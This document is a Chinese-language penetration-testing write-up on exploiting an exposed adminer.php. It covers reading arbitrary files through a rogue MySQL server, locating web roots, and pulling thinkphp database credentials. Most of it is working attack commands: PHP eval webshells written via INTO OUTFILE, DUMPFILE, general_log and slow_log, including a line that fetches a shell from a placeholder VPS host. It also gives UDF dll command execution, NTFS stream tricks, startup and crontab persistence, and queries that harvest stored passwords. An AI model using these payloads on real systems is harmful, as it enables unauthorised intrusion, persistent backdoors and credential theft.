某次项目中遇到扫目录中奖了adminer.php,所以对adminer的利用做个小总结。
adminer的大概界面一般如下图,可以通过界面获取版本信息。
而admirer<=4.6.2时,可以利用mysql的"LOAD DATA LOCAL INFILE"特性读取mysql客户端代码,当利用adminer去访问我们搭建的恶意mysql服务器,就可以读到adminer服务器上的任意源码。
https://github.com/fnmsd/MySQL_Fake_Server
python3写的,实战中跑起来后没有读到文件。
https://github.com/rmb122/rogue_mysql_server
go写的,实战跑起来没读到文件
https://github.com/Gifts/Rogue-MySql-Server
python2实现,能正常读文件,但是读到的文件长度有限制,无法读取大文件
https://github.com/qigpig/MysqlHoneypot
python2实现读微信ID的蜜罐,有个师傅在issues里提了读大文件的解决方法
https://github.com/qigpig/MysqlHoneypot/issues/5
参考缝缝改改可以正常在python2环境读大文件
和大多数任意文件读取漏洞一样,我们要读到网站文件需要知道网站文件的绝对路径或者相对路径。
通过盲读下列文件,可以判断当前系统的操作系统,
windows系统:
c:\\windows\\win.ini
c:\\windows\\system32\\drivers\\etc\\hosts
linux系统:
/etc/passwd
/etc/hosts
一种任意文件读取的通用利用思路就是读取系统源码,通过审计源码挖掘漏洞拿到服务器权限。另一种是配合一些开放的其他服务获得权限,比如adminer这种情景就可以读数据库配置,然后连接数据库执行sql语句写shell。但无论是读源码还是读配置文件,都会需要知道相应文件的路径,那我们怎么判断源码的路径呢?
windwos和linux系统都有一些特殊文件,我们尝试去读这些文件,就能获取到web服务的绝对路径。
https://www.howtogeek.com/232779/how-to-rebuild-a-broken-icon-cache-in-windows-10/
windows自带一个图标缓存的数据库,里面会各个文档文件的图标信息,即可以包含web服务的一些路径,结合任意文件读取或下载来获取web路径
win7和vista中icon cache路径
C:\\Users\\<your username>\\AppData\\Local\\IconCache.db
C:\\Users\\administrator\\AppData\\Local\\IconCache.db
win8和win10也有上面的文件,但是真正使用的是下面路径中的数据库
C:\\Users\\<your username>\\AppData\\Local\\Microsoft\\Windows\\Explorer
C:\\Users\\administrator\\AppData\\Local\\Microsoft\\Windows\\Explorer
• iconcache_16.db
• iconcache_32.db
• iconcache_48.db
• iconcache_96.db
• iconcache_256.db
• iconcache_768.db
• iconcache_1280.db
• iconcache_1920.db
• iconcache_2560.db
• iconcache_custom_stream.db
• iconcache_exif.db
• iconcache_idx.db
• iconcache_sr.db
• iconcache_wide.db
• iconcache_wide_alternate.db
解密IconCache.db的文件使用下面的脚本
https://github.com/cereme/FirstSound
https://github.com/Bikossor/Windows-IconFixer
IconCacheViewer.exe
本质就是linux系统locate命令利用到的数据库,数据库文件里包含了系统内的所有本地文件路径信息
/var/lib/mlocate/mlocate.db
/var/lib/locate.db
因为本文章讨论的是adminer.php,网站一定是php的,所以可以先判断网站有无使用一些知名框架,如thinkphp,Laravel,yii等框架。即目标网站的文件路径可以参考对应php框架目录,下面以一次thinkphp 5.0.20实战案例为例
扫目录发现目标存在adminer.php,且访问LICENSE.txt文件和页面报错可判断框架为thinkphp框架
读文件判断操作系统,发现是windows系统,尝试读icon cache失败,即不能通过上面介绍的方法获得web服务的绝对路径
尝试用adminer读取index.php(不管什么框架,有无二开,index.php文件都是我们可以通过黑盒观察目录结构判断到其相对于adminer.php的相对路径的,即该文件是一定能读到的)
读index.php中写到的thinkphp/start.php,提示thinkphp的引导文件是base.php
读thinkphp/base.php,该文件可以查看到thinkphp各模块对应目录,以及thinkphp版本等信息
尝试读index.php中提到的build.php可以看到应用配置文件common.php,config.php,database.php
一般的thinkphp应用目录是application,而本次这个目标的index.php中写了应用目录是apps,所以正确的配置文件路径是
apps/common.php
apps/config.php
apps/database.php
成功读到数据库账号密码,可以登录adminer后台
遇到thinkphp5可关注的高价值文件
index.php
build.php
thinkphp/base.php thinkphp引导文件
apps/common.php
apps/config.php
apps/database.php
application/common.php
application/config.php
application/database.php
利用思路和拿到数据库权限怎么getshell的思路一致
不管什么数据库,要写shell必须得知道网站的绝对路径,怎么搞绝对路径呢?
部分网站配置不当,我们用adminer执行一些操作时会报错出adminer系统的web绝对路径
Windows的IconCache或者linux的located.db
可以先读取mysql的安装目录,再依据mysql的路径命名规则猜测网站路径。
select @@basedir
尝试读取网站的日志文件,尤其是报错日志,很可能有出错文件的绝对路径
例如上面的thinkphp案例,上述几种方式均没获取web路径,最终通过读日志找到路径。
runtime/log/202111/30.log
翻越数据库中的信息,有可能因为一些配置功能能看到web路径
以mysql数据库为例
写shell需要判断当前有没有设置secure_file_priv,只有当secure_file_priv为空才有权限写文件,这个配置由my.ini定义,无法在执行sql的情景更改配置。
show global variables like '%secure%';
写入webshell
#写入常规一句话 select '<?php eval($_POST["x"]) ?>' into outfile 'C:\\phpstudy_pro\\WWW\\loga.php'; #存到数据库表中再写入 Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[x]) ?>');Select cmd from temp into outfile 'C:\\phpstudy_pro\\WWW\\loga.php';Drop TABLE IF EXISTS temp; #使用hex编码写入 select 0x3c3f706870206576616c28245f504f53545b2278225d29203f3e into outfile 'C:\\phpstudy_pro\\WWW\\x.php'
outfile可以导出多行数据,但是在将数据写到文件时mysql会对换行符(0a),制表符(09)等特殊字符做处理。使用有换行符的webshell时,很多hex编码后换行符使用的是0a(即\n),而0a会被outfile做特殊处理,除了换行符外还会额外增加一个\符号,所以我们写shell时如果用0a做换行符会破坏我们的webshell结构导致失败。
例如当我们尝试写入最简单的一个有换行符和制表符shell
select 0x3c3f7068700a096576616c28245f504f53545b2278646464646464646464225d3b0a3f3e into outfile 'C:\\phpstudy_pro\\WWW\\xddddddddd.php'
可以发现换行符0a的部分还被额外增加了一个\符号,且制表符处也增加了一个\符号,严重破坏了shell的文件结构。
不过经测试outfile下仍有能正常用的换行符0d(即\r),所以我们手动把所有0a换行符换成0d就能正常写入换行的shell。
但是这并非万能的,虽然肉眼甚至一些diff下用\r替换\n做换行符后没啥区别,但一些情景例如某些加密需要用到公钥私钥,而公钥私钥中的换行符,如果我们强行替换到\r,会破坏其的格式导致其报错,所以对于一些使用公钥私钥的shell目前我仍没找到在outfile下直接写入他们的思路,只能使用file_put_contents的思路去写.
poc如下:
#在同目录生成密码是cmd的一句话cmd.php select '<?php file_put_contents("cmd.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKSA/Pg=="));?>' into outfile 'C:\\phpstudy_pro\\WWW\\1.php'
写shell需要判断当前有没有设置secure_file_priv,只有当secure_file_priv为空才有权限写文件,这个配置由my.ini定义,无法在执行sql的情景更改配置
show global variables like '%secure%';
写入shell
#写入常规一句话 select '<?php eval($_POST["x"]) ?>' into dumpfile 'C:\\phpstudy_pro\\WWW\\loga.php'; #存到数据库表中再写入 Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[x]) ?>');Select cmd from temp into outfile 'C:\\phpstudy_pro\\WWW\\loga.php';Drop TABLE IF EXISTS temp; #使用hex编码写入 select 0x3c3f706870206576616c28245f504f53545b2278225d29203f3e into outfile 'C:\\phpstudy_pro\\WWW\\x.php'
dumpfile只能导出一行数据,但是写入shell时不会像outfile那样有换行符的坑点,dumpfile写入文件时会严格保持原数据格式,所以我们打udf写入dll都用dumpfile
利用日志getshell的方法不受secure_file_priv的限制,只要知道web绝对路径即可。
查询general_log的配置
show global variables like '%general_log%'; #查询general_log的配置,以便事后恢复 #或 select @@general_log_file #查询general_log目录 select @@general_log #查询general_log是否开启,0表示未开启,1表示开启
开启general_log
set global general_log='ON'; set global general_log_file='C:\\phpstudy_pro\\WWW\\log.php'; #执行后应该立即能在网站访问到log.php文件
写入webshell内容
#任意写入一句话马 select '<?php @eval($_POST[01282095])?>' #注意这里不能用hex编码,因为用了hex记录到log文件里的内容还是hex编码的内容,而不是hex编码后的内容。而且尽量用简短的马,内容多的马遇到一些特殊字符容易出错。 #由于只要有sql语句执行就会记录到日志里,执行语句多了可能插入特殊字符导致我们的马被破坏结构。所以建议拿到权限后尽快传新的马并恢复原本的general_log配置。 #应对这类情况一般我们可以传一个写文件的马,在同级目录生成密码是cmd的一句话cmd.php select '<?php file_put_contents("cmd.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKSA/Pg=="));?>' #或者远程加载 select '<?php file_put_contents("xx.php",file_get_contents("http://vpsip/webshell.txt");?>'
利用慢日志getshell的方法也不受secure_file_priv的限制,只要知道web绝对路径即可。
查询慢日志的配置
show variables like '%slow%' #查询慢日志配置,以便事后恢复 或 select @@slow_query_log_file #查询慢日志目录,以便事后恢复 select @@slow_query_log #查询慢日志是否开启,0表示未开启,1表示开启
开启慢日志
set GLOBAL slow_query_log_file='C:\\phpstudy_pro\\WWW\\log.php'; set GLOBAL slow_query_log=on;
写入webshell内容
#和前面的general_log完全一致,只需要在sql语句结尾加上sleep(10)触发延时即可 select '<?php @eval($_POST["x"])?>' from mysql.db where sleep(10); #写文件shell select '<?php file_put_contents("cmd.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKSA/Pg=="));?>' from mysql.db where sleep(10);
以mysql为例,已知公开的不写webshel要获取服务器权限的思路,都是围绕利用写文件的特性写入各种特殊的文件触发命令执行等行为获取shell权限。
所以仍需要判断当前有没有设置secure_file_priv,只有当secure_file_priv为空且secure_auth为OFF才有权限写文件
show global variables like '%secure%';
首先需要获取到plugin目录路径,因为mysql从5.0.67起,dll文件必须放在plugin目录才能加载。执行下列命令可以读取mysql的plugin目录
select @@plugin_dir show global variables like '%plugin%';
如果mysql的plugin目录不存在,windows情景下我们可以利用ntfs流创建plugin目录,但是对mysql有一定版本限制,高版本的mysql做了降权,如果mysql安装在c盘,mysql将没有创建目录的权限。经测试5.5.29可以创建,5.7.26被降权不能创建文件夹
select @@basedir; #查找mysql的目录 select 0x20 into dumpfile 'C:\\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION'; #使用NTFS ADS流创建lib目录 select 0x20 into dumpfile 'C:\\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION'; #利用NTFS ADS再次创建plugin目录
准备好plugin目录后,需要查看操作系统的架构等信息,准备相应的dll或so
select @@version_compile_os #查看当前操作系统的架构 select @@version_compile_machine; #查看当前数据库的架构
根据操作系统的架构写入相应的dll或so,可以自己网上找源码写了编译,自己编译的免杀效果会好一点,懒的直接取msf或者sqlmap编译好的用也行
select 0x20 into dumpfile "C:\\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf32.dll" #其中的hex编码可以通过本机装个mysql然后用hex获得 select hex(load_file('C:\\Users\\xxx\\mysql\\msf\\lib_mysqludf_sys_64.dll'))
利用dll创建函数,如果创建失败,十有八九是dll存在问题(被杀软干掉了或者架构不对等等)
create function sys_exec returns int soname 'udf32.dll' #无回显执行系统命令 select sys_exec('ping qkc5y3.dnslog.cn') create function sys_eval returns string soname 'udf64.dll' #回显执行系统命令 select sys_eval('whoami') drop function sys_eval # 删除sys_eval函数 select * from mysql.func #查询所有函数,判断是否创建成功
C:\Windows\System32\wbem\MOF
目录下的nullevt.mof
文件,每分钟会去执行一次,如果写入我们的cmd命令,就可以达到执行计划任务的效果。
只有server2003或xp才有这个特性,实战基本上遇不上,不过能作为一个参考项
很老的一个dll劫持思路,当与lpk.dll同目录下的exe被执行时,dll就会被执行。
也是只有server2003或xp才有漏洞
就是写startup目录C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup,需要重启才能生效,不同操作系统路径有差异。
其实确定可以写文件后,利用思路就可以扩展为任意文件写入漏洞该怎么利用。自然可以想到redis写文件的那一套思路。一般mysql服务在linux上都是以mysql用户启的,而mysql用户又是没有登录权限的,所以一般来讲是没权限写crontab的,但是不排除部分奇葩环境就是用root用户启动的mysql,这时就可以尝试写入crontab反弹
理由同上
有可能有特大的文件用mysql读文件的洞读不到,这时可以在adminer后台使用load_file去尝试读一下
#常规读文件 select load_file('C:\\phpstudy_pro\\WWW\\index.html') #路径可以使用hex编码,且读到的数据是blob格式,需要hex编码一下方便取出来 select hex(load_file(0x433A5C5C70687073747564795F70726F5C5C5757575C5C696E6465782E68746D6C))
一般adminer这边干不动,就可以去尝试下网站后台那边是否有可以相互配合的漏洞
#搜索es库中包含pass字段的表名 select table_schema,table_name,column_name from information_schema.COLUMNS where column_name like '%pass%' and table_schema='es' #搜索所有库中包含pass字段的表名 select table_schema,table_name,column_name from information_schema.COLUMNS where column_name like '%pass%'
如果无法获得网站管理员的明文密码,可以尝试读取并解密mysql用户的账号密码,并根据解密后的密码内容猜测网站管理员后台账号密码
# MySQL 5.6 and below select host, user, password from mysql.user; # MySQL 5.7 and above select host, user, authentication_string from mysql.user;
数据库中有一些高价值数据,能辅助我们获取shell
可能数据库中存有云服务器的Aceeskey,一样能拿到权限
观察到某个表中有序列化数据,则要把数据取出来使用必然会涉及到反序列化,根据表名和网站后台找到相关反序列化点,可能能配合一些已知框架的序列化链取得权限
配置信息里有很多高价值信息,例如网站路径,使用的中间件版本等等,亦或者我们能直接在数据库中更改文件上传的后缀配置,把脚本文件后缀添加到数据库的白名单中。